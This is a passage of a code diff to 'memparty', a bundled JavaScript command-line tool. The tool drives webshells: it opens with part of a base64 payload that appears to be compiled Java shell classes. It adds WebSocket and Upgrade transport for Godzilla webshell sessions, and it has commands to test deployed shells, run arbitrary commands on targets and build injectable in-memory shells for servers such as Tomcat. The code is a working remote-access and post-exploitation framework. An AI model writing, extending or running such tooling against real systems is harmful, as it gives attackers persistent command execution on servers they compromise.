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";
|
|
@@ -529,6 +951,20 @@ function postRaw(url, body, options = {}) {
|
|
|
529
951
|
return new Promise((resolve2, reject) => {
|
|
530
952
|
const started = Date.now();
|
|
531
953
|
const transport = isHttps ? https : http;
|
|
954
|
+
const onResponse = (res) => {
|
|
955
|
+
const chunks = [];
|
|
956
|
+
res.on("data", (chunk) => chunks.push(chunk));
|
|
957
|
+
res.on(
|
|
958
|
+
"end",
|
|
959
|
+
() => resolve2({
|
|
960
|
+
status: res.statusCode ?? 0,
|
|
961
|
+
headers: res.headers,
|
|
962
|
+
body: Buffer.concat(chunks),
|
|
963
|
+
durationMs: Date.now() - started
|
|
964
|
+
})
|
|
965
|
+
);
|
|
966
|
+
res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
|
|
967
|
+
};
|
|
532
968
|
const req = transport.request(
|
|
533
969
|
{
|
|
534
970
|
method: "POST",
|
|
@@ -546,21 +982,9 @@ function postRaw(url, body, options = {}) {
|
|
|
546
982
|
timeout: timeoutMs,
|
|
547
983
|
...isHttps && insecure ? { rejectUnauthorized: false } : {}
|
|
548
984
|
},
|
|
549
|
-
|
|
550
|
-
const chunks = [];
|
|
551
|
-
res.on("data", (chunk) => chunks.push(chunk));
|
|
552
|
-
res.on(
|
|
553
|
-
"end",
|
|
554
|
-
() => resolve2({
|
|
555
|
-
status: res.statusCode ?? 0,
|
|
556
|
-
headers: res.headers,
|
|
557
|
-
body: Buffer.concat(chunks),
|
|
558
|
-
durationMs: Date.now() - started
|
|
559
|
-
})
|
|
560
|
-
);
|
|
561
|
-
res.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
|
|
562
|
-
}
|
|
985
|
+
onResponse
|
|
563
986
|
);
|
|
987
|
+
req.on("upgrade", onResponse);
|
|
564
988
|
req.on("timeout", () => req.destroy(new Error(`request timed out after ${timeoutMs} ms`)));
|
|
565
989
|
req.on("error", (err) => reject(new HttpRequestError(err.message, url, err)));
|
|
566
990
|
req.write(body);
|
|
@@ -986,6 +1410,57 @@ async function uploadBehinder(url, pass, remotePath, data, options = {}) {
|
|
|
986
1410
|
|
|
987
1411
|
// src/connect/godzilla.ts
|
|
988
1412
|
import iconv from "iconv-lite";
|
|
1413
|
+
|
|
1414
|
+
// src/connect/websocket.ts
|
|
1415
|
+
import WebSocket from "ws";
|
|
1416
|
+
function isWebSocketUrl(url) {
|
|
1417
|
+
return /^wss?:\/\//i.test(url);
|
|
1418
|
+
}
|
|
1419
|
+
function requestWebSocket(url, body, options = {}) {
|
|
1420
|
+
let target;
|
|
1421
|
+
try {
|
|
1422
|
+
target = new URL(url);
|
|
1423
|
+
} catch {
|
|
1424
|
+
return Promise.reject(new Error(`invalid WebSocket URL: ${url}`));
|
|
1425
|
+
}
|
|
1426
|
+
if (target.protocol !== "ws:" && target.protocol !== "wss:") {
|
|
1427
|
+
return Promise.reject(new Error(`unsupported WebSocket protocol: ${target.protocol}`));
|
|
1428
|
+
}
|
|
1429
|
+
const timeoutMs = options.timeoutMs ?? 3e4;
|
|
1430
|
+
return new Promise((resolve2, reject) => {
|
|
1431
|
+
const socket = new WebSocket(target, {
|
|
1432
|
+
headers: buildHeaders({}, options),
|
|
1433
|
+
handshakeTimeout: timeoutMs,
|
|
1434
|
+
rejectUnauthorized: !options.insecure,
|
|
1435
|
+
perMessageDeflate: false,
|
|
1436
|
+
maxPayload: 256 * 1024 * 1024
|
|
1437
|
+
});
|
|
1438
|
+
let timer;
|
|
1439
|
+
let settled = false;
|
|
1440
|
+
const finish = (error, result) => {
|
|
1441
|
+
if (settled) return;
|
|
1442
|
+
settled = true;
|
|
1443
|
+
if (timer) clearTimeout(timer);
|
|
1444
|
+
timer = void 0;
|
|
1445
|
+
socket.removeAllListeners();
|
|
1446
|
+
if (error) reject(error);
|
|
1447
|
+
else resolve2(result);
|
|
1448
|
+
socket.close();
|
|
1449
|
+
};
|
|
1450
|
+
timer = setTimeout(() => finish(new Error(`WebSocket request timed out after ${timeoutMs}ms`)), timeoutMs);
|
|
1451
|
+
socket.once("open", () => socket.send(body));
|
|
1452
|
+
socket.on("message", (data, isBinary) => {
|
|
1453
|
+
finish(isBinary ? void 0 : new Error("expected a binary Godzilla WebSocket response"), data);
|
|
1454
|
+
});
|
|
1455
|
+
socket.once("close", () => finish(new Error("WebSocket closed without a response")));
|
|
1456
|
+
socket.once("error", (error) => finish(error));
|
|
1457
|
+
socket.once("unexpected-response", (_request, response) => {
|
|
1458
|
+
finish(new Error(`WebSocket handshake failed: HTTP ${response.statusCode ?? 0}`));
|
|
1459
|
+
});
|
|
1460
|
+
});
|
|
1461
|
+
}
|
|
1462
|
+
|
|
1463
|
+
// src/connect/godzilla.ts
|
|
989
1464
|
function serializeParams(params) {
|
|
990
1465
|
const parts = [];
|
|
991
1466
|
for (const [key, value] of params) {
|
|
@@ -1032,7 +1507,10 @@ async function openGodzillaSession(url, pass, key, options = {}) {
|
|
|
1032
1507
|
const left = wrapper.slice(0, 16);
|
|
1033
1508
|
const right = wrapper.slice(16);
|
|
1034
1509
|
const baseHeaders = buildHeaders(
|
|
1035
|
-
{
|
|
1510
|
+
{
|
|
1511
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
|
1512
|
+
...options.upgradeProtocol ? { Connection: "Upgrade", Upgrade: options.upgradeProtocol } : {}
|
|
1513
|
+
},
|
|
1036
1514
|
options
|
|
1037
1515
|
);
|
|
1038
1516
|
const post = (data, cookie2) => postRaw(url, encodeBody(pass, xc, data), {
|
|
@@ -1040,14 +1518,27 @@ async function openGodzillaSession(url, pass, key, options = {}) {
|
|
|
1040
1518
|
timeoutMs: options.timeoutMs,
|
|
1041
1519
|
insecure: options.insecure
|
|
1042
1520
|
});
|
|
1043
|
-
|
|
1044
|
-
|
|
1045
|
-
|
|
1521
|
+
let cookie;
|
|
1522
|
+
if (isWebSocketUrl(url)) {
|
|
1523
|
+
await requestWebSocket(url, aesEcbEncrypt(GODZILLA_PAYLOAD_BYTES, xc), options);
|
|
1524
|
+
} else {
|
|
1525
|
+
const initResponse = await post(GODZILLA_PAYLOAD_BYTES);
|
|
1526
|
+
const cookies = extractCookies(initResponse.headers);
|
|
1527
|
+
cookie = cookies.length > 0 ? cookies.join("; ") : void 0;
|
|
1528
|
+
}
|
|
1046
1529
|
return {
|
|
1047
1530
|
async callMethod(methodName, extraParams = []) {
|
|
1048
1531
|
const callData = gzip(
|
|
1049
1532
|
serializeParams([["methodName", Buffer.from(methodName, "utf8")], ...extraParams])
|
|
1050
1533
|
);
|
|
1534
|
+
if (isWebSocketUrl(url)) {
|
|
1535
|
+
const response = await requestWebSocket(url, aesEcbEncrypt(callData, xc), options);
|
|
1536
|
+
try {
|
|
1537
|
+
return gunzipLenient(aesEcbDecrypt(response, xc));
|
|
1538
|
+
} catch {
|
|
1539
|
+
throw new Error("WebSocket response failed to decrypt \u2014 wrong key or protocol?");
|
|
1540
|
+
}
|
|
1541
|
+
}
|
|
1051
1542
|
const res = await post(callData, cookie);
|
|
1052
1543
|
const text = res.body.toString("latin1");
|
|
1053
1544
|
const leftIdx = text.indexOf(left);
|
|
@@ -1513,7 +2004,7 @@ async function testSuo5(url, options = {}) {
|
|
|
1513
2004
|
import { randomInt as randomInt2 } from "crypto";
|
|
1514
2005
|
|
|
1515
2006
|
// src/core/site-profile.ts
|
|
1516
|
-
import { existsSync, mkdirSync, readdirSync, readFileSync as
|
|
2007
|
+
import { existsSync, mkdirSync, readdirSync, readFileSync as readFileSync3, writeFileSync as writeFileSync2 } from "fs";
|
|
1517
2008
|
import { homedir as homedir2 } from "os";
|
|
1518
2009
|
import { join as join2 } from "path";
|
|
1519
2010
|
function inferBodyTemplateContentType(bodyTemplate) {
|
|
@@ -1641,7 +2132,7 @@ function saveProfile(profile) {
|
|
|
1641
2132
|
validateProfile(profile);
|
|
1642
2133
|
const dir = profilesDir();
|
|
1643
2134
|
mkdirSync(dir, { recursive: true });
|
|
1644
|
-
|
|
2135
|
+
writeFileSync2(profilePath(profile.name), `${JSON.stringify(profile, null, 2)}
|
|
1645
2136
|
`, "utf8");
|
|
1646
2137
|
}
|
|
1647
2138
|
function loadProfile(name) {
|
|
@@ -1651,7 +2142,7 @@ function loadProfile(name) {
|
|
|
1651
2142
|
`unknown profile ${JSON.stringify(name)} \u2014 scaffold one with 'memparty profile init ${name} --site <origin>' and fill in the template/paths by hand (stored: ${listProfiles().join(", ") || "(none)"})`
|
|
1652
2143
|
);
|
|
1653
2144
|
}
|
|
1654
|
-
const profile = JSON.parse(
|
|
2145
|
+
const profile = JSON.parse(readFileSync3(path, "utf8"));
|
|
1655
2146
|
validateProfile(profile);
|
|
1656
2147
|
return profile;
|
|
1657
2148
|
}
|
|
@@ -2147,7 +2638,7 @@ registerProtocol(suo5Protocol);
|
|
|
2147
2638
|
registerProtocol(mimicProtocol);
|
|
2148
2639
|
|
|
2149
2640
|
// src/core/oplog.ts
|
|
2150
|
-
import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as
|
|
2641
|
+
import { appendFileSync, existsSync as existsSync2, mkdirSync as mkdirSync2, readFileSync as readFileSync4 } from "fs";
|
|
2151
2642
|
import { homedir as homedir3 } from "os";
|
|
2152
2643
|
import { dirname, join as join3 } from "path";
|
|
2153
2644
|
var OUTPUT_LIMIT = 2e3;
|
|
@@ -2168,7 +2659,7 @@ function readOps(filter = {}) {
|
|
|
2168
2659
|
try {
|
|
2169
2660
|
const file = opLogPath();
|
|
2170
2661
|
if (existsSync2(file)) {
|
|
2171
|
-
for (const line of
|
|
2662
|
+
for (const line of readFileSync4(file, "utf8").split("\n")) {
|
|
2172
2663
|
const trimmed = line.trim();
|
|
2173
2664
|
if (!trimmed) continue;
|
|
2174
2665
|
try {
|
|
@@ -2213,7 +2704,7 @@ function formatOp(e) {
|
|
|
2213
2704
|
}
|
|
2214
2705
|
|
|
2215
2706
|
// src/core/targets.ts
|
|
2216
|
-
import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as
|
|
2707
|
+
import { existsSync as existsSync3, mkdirSync as mkdirSync3, readFileSync as readFileSync5, writeFileSync as writeFileSync3 } from "fs";
|
|
2217
2708
|
import { homedir as homedir4 } from "os";
|
|
2218
2709
|
import { dirname as dirname2, join as join4 } from "path";
|
|
2219
2710
|
var NAME_RE2 = /^[A-Za-z0-9][A-Za-z0-9._-]*$/;
|
|
@@ -2231,7 +2722,7 @@ function listProjects() {
|
|
|
2231
2722
|
try {
|
|
2232
2723
|
const file = targetStorePath();
|
|
2233
2724
|
if (!existsSync3(file)) return {};
|
|
2234
|
-
const data = JSON.parse(
|
|
2725
|
+
const data = JSON.parse(readFileSync5(file, "utf8"));
|
|
2235
2726
|
if (data !== null && typeof data === "object" && !Array.isArray(data)) {
|
|
2236
2727
|
return data;
|
|
2237
2728
|
}
|
|
@@ -2245,7 +2736,7 @@ function getProject(name) {
|
|
|
2245
2736
|
function writeProjects(projects) {
|
|
2246
2737
|
const file = targetStorePath();
|
|
2247
2738
|
mkdirSync3(dirname2(file), { recursive: true });
|
|
2248
|
-
|
|
2739
|
+
writeFileSync3(file, `${JSON.stringify(projects, null, 2)}
|
|
2249
2740
|
`, { mode: 384 });
|
|
2250
2741
|
}
|
|
2251
2742
|
function saveProjectMeta(name, meta) {
|
|
@@ -2353,7 +2844,8 @@ function autoSaveShell(conn) {
|
|
|
2353
2844
|
headerValue: conn.headerValue,
|
|
2354
2845
|
extraHeaders: Object.keys(conn.extraHeaders).length > 0 ? conn.extraHeaders : void 0,
|
|
2355
2846
|
insecure: conn.insecure,
|
|
2356
|
-
profile: conn.profile
|
|
2847
|
+
profile: conn.profile,
|
|
2848
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
2357
2849
|
});
|
|
2358
2850
|
return `${projectName}/${shellName}`;
|
|
2359
2851
|
}
|
|
@@ -2407,6 +2899,7 @@ function resolveConnection(ref, flags) {
|
|
|
2407
2899
|
extraHeaders: { ...stored?.extraHeaders, ...flags.extraHeaders },
|
|
2408
2900
|
insecure: flags.insecure ?? stored?.insecure,
|
|
2409
2901
|
profile: flags.profile ?? stored?.profile,
|
|
2902
|
+
upgradeProtocol: flags.upgradeProtocol ?? stored?.upgradeProtocol,
|
|
2410
2903
|
targetName
|
|
2411
2904
|
};
|
|
2412
2905
|
}
|
|
@@ -2426,15 +2919,15 @@ function parseExtraHeaders(lines) {
|
|
|
2426
2919
|
function registerConnectCommand(program) {
|
|
2427
2920
|
program.command("connect").description(
|
|
2428
2921
|
"Test whether a deployed webshell is alive and the credentials work"
|
|
2429
|
-
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new
|
|
2922
|
+
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(new Option2("-t, --tool <tool>", "shell protocol").choices(protocolNames())).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").option(
|
|
2430
2923
|
"--header-name <name>",
|
|
2431
2924
|
"gate header name reported by gen (shellToolConfig.headerName)"
|
|
2432
2925
|
).option(
|
|
2433
2926
|
"--header-value <value>",
|
|
2434
2927
|
"gate header value reported by gen (shellToolConfig.headerValue)"
|
|
2435
2928
|
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').addOption(
|
|
2436
|
-
new
|
|
2437
|
-
).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
|
|
2929
|
+
new Option2("--suo5-mode <mode>", "suo5 protocol variant").choices(["auto", "v2", "v1"]).default("auto")
|
|
2930
|
+
).option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful test").addHelpText(
|
|
2438
2931
|
"after",
|
|
2439
2932
|
`
|
|
2440
2933
|
Examples:
|
|
@@ -2469,7 +2962,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
|
|
|
2469
2962
|
headerValue: opts.headerValue,
|
|
2470
2963
|
extraHeaders: parseExtraHeaders(opts.header),
|
|
2471
2964
|
insecure: opts.insecure,
|
|
2472
|
-
profile: opts.profile
|
|
2965
|
+
profile: opts.profile,
|
|
2966
|
+
upgradeProtocol: opts.upgradeProtocol
|
|
2473
2967
|
});
|
|
2474
2968
|
} catch (err) {
|
|
2475
2969
|
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
@@ -2481,7 +2975,8 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
|
|
|
2481
2975
|
headerValue: conn.headerValue,
|
|
2482
2976
|
extraHeaders: conn.extraHeaders,
|
|
2483
2977
|
timeoutMs,
|
|
2484
|
-
insecure: conn.insecure
|
|
2978
|
+
insecure: conn.insecure,
|
|
2979
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
2485
2980
|
};
|
|
2486
2981
|
let result;
|
|
2487
2982
|
try {
|
|
@@ -2533,10 +3028,10 @@ A successful test auto-saves the profile as <host>/<tool> (skip with
|
|
|
2533
3028
|
}
|
|
2534
3029
|
|
|
2535
3030
|
// src/commands/custom.ts
|
|
2536
|
-
import { Command as
|
|
3031
|
+
import { Command as Command3 } from "commander";
|
|
2537
3032
|
|
|
2538
3033
|
// src/custom/build.ts
|
|
2539
|
-
import { mkdirSync as mkdirSync4, readFileSync as
|
|
3034
|
+
import { mkdirSync as mkdirSync4, readFileSync as readFileSync6, writeFileSync as writeFileSync4 } from "fs";
|
|
2540
3035
|
import { join as join5 } from "path";
|
|
2541
3036
|
|
|
2542
3037
|
// src/core/jdk.ts
|
|
@@ -2546,7 +3041,8 @@ var JDK_VERSIONS = {
|
|
|
2546
3041
|
java9: 53,
|
|
2547
3042
|
java11: 55,
|
|
2548
3043
|
java17: 61,
|
|
2549
|
-
java21: 65
|
|
3044
|
+
java21: 65,
|
|
3045
|
+
java25: 69
|
|
2550
3046
|
};
|
|
2551
3047
|
function resolveJreVersion(input3) {
|
|
2552
3048
|
if (input3 === void 0 || input3 === "") return void 0;
|
|
@@ -3077,11 +3573,11 @@ async function buildCustomMemshell(input3, client, deps = {}) {
|
|
|
3077
3573
|
const packageDir = join5(outDir, "mimic");
|
|
3078
3574
|
mkdirSync4(packageDir, { recursive: true });
|
|
3079
3575
|
const wrapperFile = join5(packageDir, "CachedBody.java");
|
|
3080
|
-
|
|
3576
|
+
writeFileSync4(wrapperFile, renderWrapperJava(), "utf8");
|
|
3081
3577
|
compile([wrapperFile], outDir, { classpath: [jarOf()] });
|
|
3082
3578
|
const wrapper = {
|
|
3083
|
-
bodyB64:
|
|
3084
|
-
streamB64:
|
|
3579
|
+
bodyB64: readFileSync6(join5(packageDir, "CachedBody.class")).toString("base64"),
|
|
3580
|
+
streamB64: readFileSync6(join5(packageDir, "CachedBody$Stream.class")).toString("base64")
|
|
3085
3581
|
};
|
|
3086
3582
|
const javaSource = renderFilterJava({
|
|
3087
3583
|
className,
|
|
@@ -3094,10 +3590,10 @@ async function buildCustomMemshell(input3, client, deps = {}) {
|
|
|
3094
3590
|
wrapper
|
|
3095
3591
|
});
|
|
3096
3592
|
const javaFile = join5(packageDir, `${className}.java`);
|
|
3097
|
-
|
|
3593
|
+
writeFileSync4(javaFile, javaSource, "utf8");
|
|
3098
3594
|
compile([javaFile], outDir, { classpath: [jarOf()] });
|
|
3099
3595
|
const classFile = join5(packageDir, `${className}.class`);
|
|
3100
|
-
const shellClassBase64 =
|
|
3596
|
+
const shellClassBase64 = readFileSync6(classFile).toString("base64");
|
|
3101
3597
|
const response = await client.generateMemShell({
|
|
3102
3598
|
shellConfig: {
|
|
3103
3599
|
server: input3.server,
|
|
@@ -3116,13 +3612,13 @@ async function buildCustomMemshell(input3, client, deps = {}) {
|
|
|
3116
3612
|
if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
|
|
3117
3613
|
for (const [name, value] of Object.entries(response.allPackResults)) {
|
|
3118
3614
|
const file = join5(outDir, `payload-${name}.txt`);
|
|
3119
|
-
|
|
3615
|
+
writeFileSync4(file, `${value}
|
|
3120
3616
|
`, "utf8");
|
|
3121
3617
|
payloads[name] = file;
|
|
3122
3618
|
}
|
|
3123
3619
|
} else if (response.packResult !== void 0) {
|
|
3124
3620
|
const file = join5(outDir, "payload.txt");
|
|
3125
|
-
|
|
3621
|
+
writeFileSync4(file, `${response.packResult}
|
|
3126
3622
|
`, "utf8");
|
|
3127
3623
|
payloads[packer] = file;
|
|
3128
3624
|
}
|
|
@@ -3162,7 +3658,7 @@ async function buildCustomMemshell(input3, client, deps = {}) {
|
|
|
3162
3658
|
connect: `memparty connect -u <shell-url> -t mimic --profile ${input3.profile.name} --pass ${result.pass} --key ${result.secret}`,
|
|
3163
3659
|
files: result.files
|
|
3164
3660
|
};
|
|
3165
|
-
|
|
3661
|
+
writeFileSync4(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
|
|
3166
3662
|
`, "utf8");
|
|
3167
3663
|
return result;
|
|
3168
3664
|
}
|
|
@@ -3170,7 +3666,7 @@ async function buildCustomMemshell(input3, client, deps = {}) {
|
|
|
3170
3666
|
// src/commands/custom.ts
|
|
3171
3667
|
function registerCustomCommand(program) {
|
|
3172
3668
|
program.command("custom").description("Custom (mimic) memory shells built from a site profile").addCommand(
|
|
3173
|
-
new
|
|
3669
|
+
new Command3("build").description("profile -> filter class -> MemShellParty Custom -> injectable payload").requiredOption("--profile <name>", "site profile name (see 'memparty profile list')").requiredOption("--server <server>", "target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')").option("--type <shellType>", "shell type the filter implements", "Filter").option("--pass <pass>", "credential baked into the shell (random if omitted)").option("--key <key>", "crypto key baked into the shell (random if omitted)").option("--url-pattern <pattern>", "injector URL pattern", "/*").option("--packer <packer>", "payload packer", "DefaultBase64").option("--jdk <version>", "target JDK, e.g. java8", "java8").option("--out <dir>", "output directory", void 0).option("--json", "output raw JSON").addHelpText(
|
|
3174
3670
|
"after",
|
|
3175
3671
|
`
|
|
3176
3672
|
The full loop (see docs/mimic-memshell-guide.md):
|
|
@@ -3507,7 +4003,7 @@ Watch the printed request URL in step 3/4: it changes every run.
|
|
|
3507
4003
|
}
|
|
3508
4004
|
|
|
3509
4005
|
// src/commands/exec.ts
|
|
3510
|
-
import { Option as
|
|
4006
|
+
import { Option as Option3 } from "commander";
|
|
3511
4007
|
function parseExtraHeaders2(lines) {
|
|
3512
4008
|
const headers = {};
|
|
3513
4009
|
for (const line of lines ?? []) {
|
|
@@ -3523,16 +4019,16 @@ function registerExecCommand(program) {
|
|
|
3523
4019
|
program.command("exec").description(
|
|
3524
4020
|
"Execute a command on a deployed webshell and print its output"
|
|
3525
4021
|
).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
|
|
3526
|
-
new
|
|
4022
|
+
new Option3("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec"))
|
|
3527
4023
|
).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").addOption(
|
|
3528
|
-
new
|
|
4024
|
+
new Option3("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
|
|
3529
4025
|
).option(
|
|
3530
4026
|
"--header-name <name>",
|
|
3531
4027
|
"gate header name reported by gen (shellToolConfig.headerName)"
|
|
3532
4028
|
).option(
|
|
3533
4029
|
"--header-value <value>",
|
|
3534
4030
|
"gate header value reported by gen (shellToolConfig.headerValue)"
|
|
3535
|
-
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
|
|
4031
|
+
).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
|
|
3536
4032
|
"after",
|
|
3537
4033
|
`
|
|
3538
4034
|
Examples:
|
|
@@ -3562,7 +4058,8 @@ the OS inside its payload, so --os does not apply.
|
|
|
3562
4058
|
headerValue: opts.headerValue,
|
|
3563
4059
|
extraHeaders: parseExtraHeaders2(opts.header),
|
|
3564
4060
|
insecure: opts.insecure,
|
|
3565
|
-
profile: opts.profile
|
|
4061
|
+
profile: opts.profile,
|
|
4062
|
+
upgradeProtocol: opts.upgradeProtocol
|
|
3566
4063
|
});
|
|
3567
4064
|
} catch (err) {
|
|
3568
4065
|
reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
|
|
@@ -3574,7 +4071,8 @@ the OS inside its payload, so --os does not apply.
|
|
|
3574
4071
|
headerValue: conn.headerValue,
|
|
3575
4072
|
extraHeaders: conn.extraHeaders,
|
|
3576
4073
|
timeoutMs,
|
|
3577
|
-
insecure: conn.insecure
|
|
4074
|
+
insecure: conn.insecure,
|
|
4075
|
+
upgradeProtocol: conn.upgradeProtocol
|
|
3578
4076
|
};
|
|
3579
4077
|
let result;
|
|
3580
4078
|
try {
|
|
